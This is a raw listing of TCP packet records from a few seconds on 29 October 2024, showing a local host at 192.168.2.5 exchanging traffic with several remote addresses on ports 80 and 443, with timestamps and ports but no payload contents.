Oct 29, 2024 02:46:38.164275885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.164396048 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.164407969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.164422989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.164465904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.164952993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.164963961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165009975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.165240049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165257931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165268898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165297985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.165312052 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.165591955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165605068 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165636063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165648937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.165699005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.183923960 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.183943033 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.184016943 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.184027910 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.184084892 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.205964088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.205998898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.207693100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.216752052 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.216787100 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.216872931 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.217102051 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.217116117 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.255557060 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.255578041 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.255641937 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.255650043 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.255702972 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.255702972 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.281378031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281407118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281421900 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281444073 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.281475067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.281502008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.281527042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281615973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281630039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281667948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.281852961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281886101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281899929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.281940937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.281970978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.282269955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.282316923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.282332897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.282352924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.282377005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.282380104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.282392979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.282408953 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.282445908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.302220106 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.302243948 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.302318096 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.302326918 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.302612066 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.322964907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.322981119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.323100090 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.378777981 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.378803015 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.378873110 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.378884077 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.378928900 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.398390055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398407936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398423910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398472071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.398475885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398488998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398500919 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.398530006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.398674011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398689985 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398704052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.398720980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.398745060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.399017096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399033070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399048090 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399074078 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.399099112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.399360895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399418116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399440050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399455070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399462938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.399471998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.399482012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.399498940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.399511099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.407295942 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.407330990 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.407464027 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.407648087 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.407708883 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.407866955 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.407948017 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.407987118 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.408046007 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408171892 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408191919 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.408309937 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408318996 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.408353090 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408370972 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408807039 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408828974 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.408914089 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.408946037 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.409006119 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.409019947 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.409221888 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.409244061 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.409383059 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.409398079 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.439801931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.439816952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.439874887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.461864948 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.461905956 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.461935043 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.461942911 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.461977959 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.461988926 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.496876001 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.496896029 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.496937037 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.496944904 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.496972084 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.496995926 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.515638113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515649080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515659094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515692949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515705109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515703917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.515742064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515753984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.515758038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.515783072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.515799046 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.516369104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.516380072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.516396999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.516407013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.516417980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.516417980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.516441107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.516457081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.517004967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.517016888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.517026901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.517051935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.517071962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.556951046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.556974888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.556986094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.557024956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.557055950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.579967022 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.579988003 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.580038071 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.580046892 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.580079079 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.580123901 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.615111113 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.615128994 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.615184069 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.615190983 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.615221977 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.615241051 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.632564068 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632575989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632630110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.632735968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632746935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632757902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632776022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632786036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.632790089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.632806063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.632827997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.633275986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633295059 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633332968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.633348942 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.633447886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633459091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633470058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633491993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.633508921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.633852005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633862972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633873940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633886099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.633903027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.633932114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.674243927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.674257040 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.674269915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.674314976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.674350977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.698282957 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.698307037 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.698350906 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.698358059 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.698411942 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.734129906 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.734146118 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.734173059 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.734214067 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.734222889 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.734251022 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.734266043 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.734460115 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.734525919 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.734589100 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.734594107 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.734636068 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.749599934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749612093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749623060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749663115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.749690056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749691010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.749701977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749720097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749733925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.749737024 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.749766111 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.750313044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750324965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750334978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750379086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.750416040 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.750693083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750705004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750715017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750750065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750750065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.750762939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.750766993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.750806093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.791198015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.791223049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.791234016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.791244984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.791274071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.791309118 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.809748888 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.810398102 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.810460091 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.810885906 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.810897112 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.843868017 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.844491959 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.844566107 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.844675064 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.845104933 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.845124006 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.845807076 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.845839977 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.846191883 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.846201897 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.848593950 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.849159956 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.849174023 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.849448919 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.849751949 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.849808931 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.849889040 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.861828089 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.862164021 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.862178087 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.862782001 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.862786055 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.867136955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867147923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867186069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867197037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867244005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.867249012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867261887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867289066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.867299080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.867300034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867317915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.867371082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.867371082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.868052006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868072033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868083000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868110895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868115902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.868149042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.868529081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868552923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868577957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.868582010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.868606091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.868616104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.875833035 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.876823902 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.876854897 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.877490997 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.877501965 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.895344973 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.895576954 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.899420023 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.899435997 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.899735928 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.900249958 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.900310040 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.900599003 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.900691986 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:38.900698900 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:38.908061028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.908081055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.908118010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.908130884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.908184052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.908190966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.908282995 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.908282995 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.938240051 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.938376904 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.938441038 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.938791037 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.938791037 CET	49868	443	192.168.2.5	13.107.246.45
